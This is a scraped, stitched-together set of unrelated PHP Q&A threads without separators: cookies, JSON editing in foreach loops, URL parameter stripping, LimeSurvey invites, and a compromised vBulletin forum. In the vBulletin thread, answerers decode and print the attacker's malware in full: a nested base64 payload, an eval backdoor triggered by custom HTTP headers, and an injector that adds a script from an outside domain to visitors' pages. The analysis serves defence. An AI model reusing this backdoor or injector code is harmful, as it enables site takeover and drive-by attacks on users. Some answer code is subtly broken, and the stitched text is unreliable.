How do we read the cookie set with HostOnly=true and HttpOnly=true options using PHP $_COOKIE. This cookie is set via Single Sign On method.
I tried by using the below code but it is not capturing the cookie set with set with HostOnly=true and HttpOnly=true options.
Please suggest me, how I can read this type of cookie information using PHP. Thanks in advance.
PHP Code:
protected function cookieString() {
$string = '';
foreach ($_COOKIE as $k => $v) {
$k = urlencode($k);
if ($string) $string .= "; $k=$v";
else $string .= "$k=$v";
}
return $string;
}
Also I am attaching a rough figure of our application architecture below:
I am trying to modify data in a json file with php. The code I am using is below. It is able to successfully ready the file contents and in the foreach loop it will echo out in the if statement.
This is great, the if statement is hardcoded for now to test. What I want to do is modify various properties and write it back to the file. This does not seem to be working. When I load the page, then refresh to see if the new value was set it just keeps echoing the same values. I download the .json locally and nothing has changed.
Any thoughts on what I am doing wrong?
//Get file, decode
$filename = '../json/hartford.json';
$jsonString = file_get_contents($filename);
$data = json_decode($jsonString, true);
foreach ($data['features'] as $key => $segment) {
if ($segment['properties']['UID'] == '25301') {
//echo out properties for testing
echo("KEY: ".$key."<br/>");
echo("UID: ".$segment['properties']['UID']."<br/>");
echo("Full Name: ".$segment['properties']['FULLNAME']."<br/>");
echo("FCC: ".$segment['properties']['FCC']."<br/>");
echo("Render CL: ".$segment['properties']['RENDER_CL']."<br/>");
echo("<hr/>");
//set property to new value.... NOT WORKING?
$segment['properties']['RENDER_CL'] = 111;
}
}
//Test if file is writable to be sure
$writable = ( is_writable($filename) ) ? TRUE : chmod($filename, 0755);
if ( $writable ) {
$newJsonString = json_encode($data);
if (file_put_contents($filename, $newJsonString)) {
echo('Put File Content success');
} else {
echo('NOT put');
}
} else {
echo 'not writeable';
}
In the end it will echo out 'Put File Content success' which seems to indicate it was successful but it isn't... Thanks for any advice.
You need to understand how foreach cycle works. The thing is, that the value you're getting ($segment) is a copy of the real value in the source array. So when you assign to it ($segment['properties']['RENDER_CL'] = 111;), you don't really change the source array. You only change some local variable that goes out of scope when the cycel-loop ends.
There are several ways how to solve this issue. One of them is to add & before the value-variable:
foreach ($data['features'] as $key => &$segment)
This tells it to use the reference of the array-item, not to copy its value.
You should use $segment variable in foreach as a reference:
foreach ($data['features'] as $key => &$segment) {
...
$segment['properties']['RENDER_CL'] = 111;
}
My client contacts with the database via service. When I do some action, I call the service URL with file_get_contents then process the response.
I think when a user enters the site from google search result, I think google adds some parameters to my service URL which belongs to file_get_contents.
For example,
as it should be,
file_get_contents(service.domain/service_name?param1=0)
but google adds some strange parameters at the end of url. like this:
file_get_contents(service.domain/service_name?param1=0&force=1)
I saw two or three strange parameters so,
force = 1
gclid=CNC-jvTapbcCFaaj
I don't know how can I handle and remove these parameters.
How can I remove these strange parameters before calling the URL with file_get_contents?
This is my function:
public function getWhere($keyword)
{
$locale = session('locale');
if($locale != "en" && $locale != "")
{
$locale = "_".session('locale');
}else{
$locale = "";
}
$page = file_get_contents(getenv('API_URL')."station_info?search.url=".$keyword);
$page = json_decode($page);
$page = (array) $page->rows;
$station = $page[0];
if($station->search->status == 1)
{
return redirect('/');
}
return view('station', compact('station', 'locale'));
}
Strange parameters add themselves end of the URL.
Edit
I think someone is trying to something. $keyword must take a string which is station name, example, London.
But someone is trying to send London&force=1 so I have to check the $keyword variable.
You can parse url by parse_url function, remove unwanted parameters or just keep parameters you want and build url back
after using parse_url function you may need to parse query by parse_str function, so code will look like:
$urlParsed = parse_url("service.domain/service_name?param1=0&force=1");
$params = parse_str ($urlParsed['query']);
$newParams = [];
$neededParams = ['param1', 'param2'];
foreach ($neededParams as $p) {
if (isset($params[$p])) {
$newParams[$p] = $params[$p];
}
}
$newUrl = $urlParsed['scheme'] . '://' . $urlParsed['host'] . $urlParsed['path'] . '?' . http_build_query($newParams);
file_get_contents($newUrl);
I didn't test that code, but I hope the idea is clear and you can amend it to your needing.
I am working on a custom script to automatically send out invites and reminders. I have everything working fine up until a point. My function to send invites looks like this:
function sendInvites($iSurveyID) {
$oSurvey = Survey::model()->findByPk($iSurveyID);
if (!isset($oSurvey)) {
die("could not load survey");
}
if(!tableExists("{{tokens_$iSurveyID}}")) {
die("survey has no tokens or something");
}
$SQLemailstatuscondition = "emailstatus = 'OK'";
$SQLremindercountcondition = '';
$SQLreminderdelaycondition = '';
$iMaxEmails = (int)Yii::app()->getConfig("maxemails");
$iMaxReminders = 1;
if(!is_null($iMaxReminders)) {
$SQLremindercountcondition = "remindercount < " . $iMaxReminders;
}
$oTokens = Tokens_dynamic::model($iSurveyID);
$aResultTokens = $oTokens->findUninvited(false, $iMaxEmails, true, $SQLemailstatuscondition, $SQLremindercountcondition, $SQLreminderdelaycondition);
if (empty($aResultTokens)) {
die("No tokens to send invites to");
}
$aResult = emailTokens($iSurveyID, $aResultTokens, 'invite');
}
I also have a simple little file that starts up Yii:
Yii::createApplication('LSYii_Application', APPPATH . 'config/config' . EXT);
Yii::app()->loadHelper('admin/token');
Yii::app()->loadHelper('common');
Everything works as expected up until I actually try to send emails to the tokens. I've tracked the problem down to the following, on of the functions called by emailTokens has this in it:
$clang = Yii::app()->lang;
$aBasicTokenFields=array('firstname'=>array(
'description'=>$clang->gT('First name'),
'mandatory'=>'N',
'showregister'=>'Y'
),
The Yii::app()->lang part seems to be causing issues because then php is unable to call the gT method. However, when LimeSurvey is running "properly" this never happens. I can't even seem to find where "lang" is in the LimeSurvey source.
What can I do to make it work?
Why do you make it so hard on yourself and not use the RemoteControl2 API ?
See http://manual.limesurvey.org/wiki/RemoteControl_2_API#invite_participants
On that page you will also find a PHP example script.
maybe
Yii::import('application.libraries.Limesurvey_lang');
$clang = new Limesurvey_lang($oTokens->language);
I found a couple vBulletin sites I administer getting hacked recently. They use the latest version of the 3.8 series (3.8.7 Patch Level 2). I am usually pretty good at finding the holes where they get in and patching them up, but this one is stumping me. They are injecting data into the MySQL tables. The attack always happens when they make a GET request to the faq.php script. I was able to save data when the attack occurs. This was the $_REQUEST, $_GET, $_POST, $_COOKIE, and $_SERVER arrays. The only thing I saw that looked out of place is that there were two new $_SERVER keys, HTTP_SOVIET and HTTP_PACK:
http://pastebin.com/b6WdZtfK
I have to assume this is the root of the issue, but I cannot for the life of me figure out how the attacker can set this variable. There is nothing in the request string, nothing in the cookie array, it is a GET request, not POST.
Any idea?
A variable like $_SERVER['HTTP_*'] can set by just adding headers to the HTTP request.
A simple command line example would be:
PHP Page:
print_r($_SERVER);
Then on command line:
curl --header "SOVIET: 123" localhost
You'll see that $_SERVER['HTTP_SOVIET'] is equal to 123.
In this case, the contents of HTTP_SOVIET are base64 encoded (give away, it ends in ==).
Unencoded, it turns into:
function iai() {
global $db;
$base = base64_decode('JExLZ1RMSEs9KCRPX3JaeGw9IlxceDYyIi4iXFx4NjEiLiJcXHg3MyIuIlxceDY1Ii4iXFx4MzYiLiJcXHgzNCIuIlxceDVmIi4iXFx4NjQiLiJcXHg2NSIuIlxceDYzIi4iXFx4NmYiLiJcXHg2NCIuIlxceDY1ImFuZCRldFZKT1ZPPSJcXHg3MCIuIlxceDcyIi4iXFx4NjUiLiJcXHg2NyIuIlxceDVmIi4iXFx4NzIiLiJcXHg2NSIuIlxceDcwIi4iXFx4NmMiLiJcXHg2MSIuIlxceDYzIi4iXFx4NjUiKT9AJGV0VkpPVk8oIlxceDJmXFx4MmVcXHgyZlxceDY5XFx4NjUiLCRPX3JaeGwoIlFHVjJZV3dvWW1GelpUWTBYMlJsWTI5a1pTZ25XbTVXZFZrelVuQmlNalJuVTBkU01GRnRiRWhXUlVaNVMwTnJaMlYzTUV0YU1uaDJXVzFHYzBsRFVuQmpSamswVDNjd1MwcEhXbkJpUjFabVdrTkJPVWxEWTNaa1J6RjNURE5DYjJOR2JGTlpNRTVEWWxWS2VVcDZjMDVEYVZKd1kwWTVjMGxFTUdkTFNFNHdZMjFzZFZwNWJIQmpSRXB6WWpJMWJrdERVbkJqUmprMFMxUnpUa050YkcxTFIxcHdZa2RXWmxwWWFIQmpNMUo2UzBOU2JXRlhlR3hZTWxGd1NVZEdkVnBEUWtGaFdFNW1aRE5LY0dSSFJtbGlSMVZ2U2tkYWNHSkhWbVphUTJ0bldWYzFhMGxEWjI5S1NFNXdaVzFXWmxwcFFUbEpSVUp0WVZkNGJHTXliRFphVTJkcldtMXNjMXBXT1d0TFUydG5VR2xCZDB0VGEyZGxkekJMU1VOU2ExbFlVbWhKUkRCbldtMXNjMXBXT1c1YVdGSm1XVEk1ZFdSSFZuVmtTRTF2U2tkYWNHSkhWbVphUTJzM1JGRnZaMkZYV1c5S1NFNXdaVzFXWmxwcFFTdEpSRVYzVFVSQmQwMUVRWEJKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMUp0WVZkNGJGZ3lVWE5pV0ZKbVkyMUdkVnBEWjNoTlJFRnpUMVJyTlV0VE5HNU1RMk53VDNjd1MwbERRbkJhYVdkb1l6TlNlV0ZZVGpCamFXZHJXa2RHTUZsVGQydGhXRUptWWtOcmNFbEljMDVEYVVGblNVZGFjR0pIVm1aalNGWXdXREpPZG1KdVVteGlibEo2UzBOU2JXRlhlR3hZTWxGelNXbFNjR05HT1hOTVEwbHpVbXRzVFZKV09VSlZSa0pHVkd0UmNFOTNNRXRKUTBJNVNVZFdjMk15VldkamJWWXdaRmhLZFVsSVVubGtWMVUzUkZGdloyWlJNRXRtVVRCTFdtNVdkVmt6VW5CaU1qUm5VekpXU1ZOSFVuQlhSWGR2U2tkc2RVdFRRamRFVVhCdVlrYzVhVmxYZDJkS1NGcHBaRmQ0YzFwWVVuQmlhWGRyWVZoQ1ptVkVjMDVEYVZKcllqSXhhR0ZYTkdkUVUwRnVZVEp3Y0dJeU5YQmhNbFkxVEcwNWVWcDVZemRFVVc5cldtMXNkVnBHT1hSYVUwRTVTVU5rTWxsdVZuTmlSMVl3WVZjMVptSlhWblZrVXpWeFkzbzVNbEJVVFRST2VVa3JVRU01ZWxrelNuQmpTRkVyU25welRrTnBVbnBhVjAxblVGTkJibFV5TlVOYVIyaFRVVlp3VTFsclpEQmpiRGh1VDNjd1MwcEhkR3hsVTBFNVNVaE9NVmx1VGpCamFXaDBXa1JWYjBwR09WUlNWa3BYVWxaS1lrb3dhRlZXUmtKbVZsWk9SbFZzT1VKU01GWlBWa05rWkV4cFVuQmpSamswVEdsU2VscFhUWEJNUkVGelRWUlpjRTkzTUV0S1NGWjVZa05CT1VsSE1UQllNMHBvWW0xUmIwMVVRWGRNUkdzMVQxUnJOVTlUYTNWS2VUVnhZM280ZVU1VVFURk9hbWR0U25rMGEyRXlWalZQZHpCTFkyMVdNR1JZU25WSlEyZHJZak5XTUVsRU1HZGpNMUo1V0ROS2JHTkhlR2haTWxWdlNrZGFjR0p0VW1aaVYxVnpTa2RhY0dKdFVtWmlWMVYxU1d4NGVWaEhORGhqTWs1NVlWaENNRWxJVWpWalIxVTVXRU5LTUZwWWFEQk1NbkJvWkcxR2Vsa3pTbkJqU0ZKalNXbENlbU50VFRsWVEwcHZaRWhTZDA5cE9IWktSMUoyWWxkR2NHSnBPR3RrV0VweldFTkpLMUJET1hwWk0wcHdZMGhSSzBscGQydGhWelJ3UzFOQkwwbERVblprV0ZGblQybEJhMkZYTkRkRVVYQTVSRkZ3YldSWE5XcGtSMngyWW1sQ1IyVnJkREZWUjFwd1VWVmpiMHRUUWpkRVVXOXJZVmhCWjFCVFFXNUtlbk5PUTIxc2JVdERSbXhpV0VJd1pWTm5hMWd4VGtaVmJGcEdWV3h6YmxOR1VsVlZSamxaV0RCYVVGVnNaRUpWYTFKR1VrWTVSMVF4U1c1WVUydHdTVWh6VGtOcFFXdFpXRXA1U1VRd1oxcFlhSGRpUnpscldsTm5ia3hEWTNOS1JqbFVVbFpLVjFKV1NtSktNR2hWVmtaQ1psZEdPVWRVTVVwWVVWWktSVkpWVW1aU2F6bFRTakV3Y0U5M01FdEpRMEp3V21sb2QyTnRWbTVZTWpGb1pFZE9iMHREWTNaWWJIaHJaWHBGYzAwek1XTk1iSGhyWlhwRmMwMHpNV05NYkhoclpYcEZjMDB6TVdOTWJIaHJaWHBGYzAwek1HdE1lV056U2tkR2VXTnNjMjVOUTJSa1MxTnJaMlYzTUV0SlEwRm5Ta2RzZDBsRU1HZEtSMFo1WTJ4emJrMURaR1JQZHpCTFNVTkNPVVJSY0RsRVVYQjVXbGhTTVdOdE5HZExRMFpzWWxoQ01HVlRaMnRoV0VGd1MxTkJMMGxEVW5CalEwRTJTVU5TWmxVd1ZsTldhMVpUVjNsa1UxSlZNVkJXUlZabVVWVlNSVlZwWkdSUGR6QkxabEV3UzFwdVZuVlpNMUp3WWpJMFoxRllRbVpoUm5CRldIbG5jRWxJYzA1RGJXeHRTMGhDZVZwWFpHWmlWMFl3V1RKbmIwcDVUbTVpTWpsdVlrZFdPR0pZVG5WbVIzaHdaRzFXT0ZsWGVEQlpXRnB3WXpOU2FHWkhSbnBoTTNnMVdWZG9kbUl6ZUdoaU1uZzRXVzFzZFZvemVHeGxSMFp6V2xkR2EyWkhWalJaTW13d1dsaDRjMlZYVG5aak0zaDBaVmhPZDFsWFRteG1SMFp6V2xob2FHWkhVblprVjBweldsZE9jMkZYVG5KSk1tdHVURU5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZZTVVwR1VtdFdVMUpXU1c1WVUydHdTVWh6VGtOcFFuQmFhV2gzWTIxV2JsZ3lNV2hrUjA1dlMwTmphbUpZVG5CYVdIaHRZVmhLYkZwdE9UUm1SemwzV2xoS2FHWkhUbTlqYlRsMFdsTk9jRXA1ZDJ0WU1VNUdWV3hhUmxWc2MyNVRSbEpWVlVZNVZsVXdWbE5ZTUVaSVVsVTFWVW94TUhCTFUwSjVXbGhTTVdOdE5HZGtTRW94V2xSelRrTnBRamxFVVhBNVJGRndiV1JYTldwa1IyeDJZbWxDZGxSV2JGcFVNa1o1UzBOcloyVjNNRXRhTW5oMldXMUdjMGxEVW5CalJqazBUM2N3UzBwSGJIZFlNMmRuVUZOQ1IyVnJkREZWUjFwd1VWVmpiMHRVYzA1RGFWSm9TVVF3WjFsWVNubFpXR3R2U25wSmVFNXBOSGxOZW10MVNubDNiazFxUVRWTWFtY3hUR2xqYzBwNlJUTk5lVFI1VGxSVmRVcDVkMjVOVkdONlRHcEZOVTVETkc1TVEyTTBUMU0wZVUxRVkzVktlWGR1VG5wUmRVMVVTVEZNYVdOelNucGplVXhxUlRCTWFXTnpTbnBaTWt4cVNUQlBVelJ1VEVOak1rNXBOSGhOUkVsMVNubDNiazVxVVhWTmFrMTZUR2xqY0U5M01FdGFiVGw1V2xkR2FtRkRaMnRaVTBKb1kzbEJhMWxwYTJkbGR6QkxTVWRzYlV0SVFubGFWMlJtWWxkR01Ga3laMjlKYVRsbFNrZEpkbUZUU1hOS1IyeDNXRE5uY0V0VFFubGFXRkl4WTIwMFoyUklTakZhVkhOT1EybENPVVJSY0RsRVVYQndXbWxuYUZwWE1YZGtTR3R2U2tZNVZGSldTbGRTVmtwaVNqQm9WVlpHUW1aVmExWkhVbFpLUmxWcFpHUkxVMnRuWlhjd1MwbEhiRzFMUlVaM1dESm9ZVkpHT0c5TFUwSm9ZbTFSWjBsWE9VNVhWbXhRV1ZoSmIwdFRRbWhpYlZGblNWVm9hMlJGU25CU01WSkNZMmxuY0V0VFFqZEVVVzluU2tjMWJHUXpVbXhsU0ZGblVGTkNURnBWYUVsYVIyeFpWRU5uYTJKdFZqTmtSMVkwWkVOck4wUlJiMmRtVVRCTFpsRXdTMk50VmpCa1dFcDFTVU5TZFZwWVpEQmFXR2d3VDNjOVBTY3BLVHM9IiksIi4iKTpudWxsOw==');
$style = $GLOBALS['style'];
if(!empty($style['styleid'])) {
$a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\'');
if($a['styleid']!='' and $a['replacements']=='') {
$db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\'');
echo 'ok';
} else echo 'error';
}
exit;
}
#iai();
It's worth noting that query there:
'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''
Check your style table, as that's one way/the way code is exposed to the user.
Renaming your style table to something else would likely mitigate the effects of this attack for now.
In there, the base64 bit has more bas64 in, which has more bas64 in which eventually evals:
function HdtBiGTAr() {
global $ip_x;
$file_d = '/tmp/phpYRcCBmBr';
$ip_l = (string)ip2long($ip_x);
if(file_exists($file_d) and #is_writable($file_d) and (($size_f = #filesize($file_d)) > 0)) {
$data = file_get_contents($file_d);
if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).',');
if(!stristr($data,$ip_l)) {
file_put_contents($file_d,"$ip_l,",FILE_APPEND);
} else return true;
}
}
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
function FzKuPfiAG() {
$ip = '';
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) {
$ip = $arr['0'];
}
}
return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR'];
}
function Ap_hZD_() {
if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) {
if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true;
}
}
function oMYYOar() {
global $ip_x;
$ip_x = FzKuPfiAG();
$a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.');
foreach($a as $b) {
if(preg_match("/^$b/i",$ip_x)) return true;
}
}
if(!empty($_SERVER['HTTP_REFERER'])) {
if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) {
$newtext = KeHHdiXL($newtext);
}
}
return $newtext;
This writes to a file called /tmp/phpYRcCBmBr, so I'd check what that says.
It also hides it's behaviour from search engines, which is nice of it.
The bad bit for users is likely:
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
Which puts some JS on the page hosted by kjionikey.org. That JS requires a key based on the IP address.
I'd check any code that reads/executes the contents of random $_SERVER variables, but why that would be in there, I don't know.
The attacker in this case has a backdoor code installed in one of your FAQ phrases (vbulletin phrases db table) as a set of chr() PHP function calls.
${$GeAZvLDI=chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95) ...
that basically when eval'd through the faq.php script, gets decoded to:
if(!empty($_SERVER['HTTP_PACK']) and !empty($_SERVER['HTTP_SOVIET']))
{
if(md5(md5($_SERVER['HTTP_PACK'])) == 'rDGeOKeGGdiVLFy')
#eval(base64_decode($_SERVER['HTTP_SOVIET']));
}
You may find the affected vBulletin phrases by issuing a SQL query like so
SELECT varname, text FROM `phrase` where text like '%chr(%';
Though there are many variants of this, some are using HEX strings, base64decode, assert, pack calls or just plain PHP.